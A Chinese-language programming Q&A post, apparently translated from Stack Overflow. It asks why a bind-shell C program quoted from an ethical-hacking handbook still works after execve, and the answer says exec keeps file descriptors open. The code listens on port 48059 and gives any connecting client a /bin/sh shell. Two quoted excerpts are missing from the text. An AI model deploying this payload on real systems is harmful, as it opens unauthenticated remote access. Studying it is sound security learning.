因此,我从Gray Hat Hacking:The Ethical Hacker's Handbook,第四版中获得了此代码:

#include<sys/socket.h>                 // libraries used to make a socket
#include<netinet/in.h>                 // defines the sockaddr structure
int main(){
        char * shell[2];               // prep for execve call
        int server,client;             // file descriptor handles
        struct sockaddr_in serv_addr;  // structure to hold IP/port vals
        server=socket(2,1,0);   // build a local IP socket of type stream
        serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
        serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
        serv_addr.sin_family=2;   // set native protocol family: IP
        bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
        listen(server,0);         // enter listen state, wait for connect
        client=accept(server,0,0);// when connect, return client handle
        /*connect client pipes to stdin,stdout,stderr */
        dup2(client,0);                // connect stdin to client
        dup2(client,1);                // connect stdout to client
        dup2(client,2);                // connect stderr to client
        shell[0]="/bin/sh";            // first argument to execve
        shell[1]=0;                    // terminate array with null
        execve(shell[0],shell,0);      // pop a shell
}

根据execve man page:



因此,是否应该重写socket()的返回值(如果我理解的话),该文件描述符是文件描述符吗?
并且不应该将文件描述符stdinstdoutstderr的重定向重置为默认值吗?
如果是这样,该程序将如何工作?
我可能会误解有关execve()函数或文件描述符的内容。或者,也许我完全错过了socket()函数。
文件描述符既不存储在堆栈中,也不存储在bss节中?

最佳答案

通过exec函数之一执行新程序时,文件描述符为而不是关闭。如果是这样,则无法将终端中的stdin/stdout/stderr附加到正确的位置。

您错过了以下段落:

09-06 03:33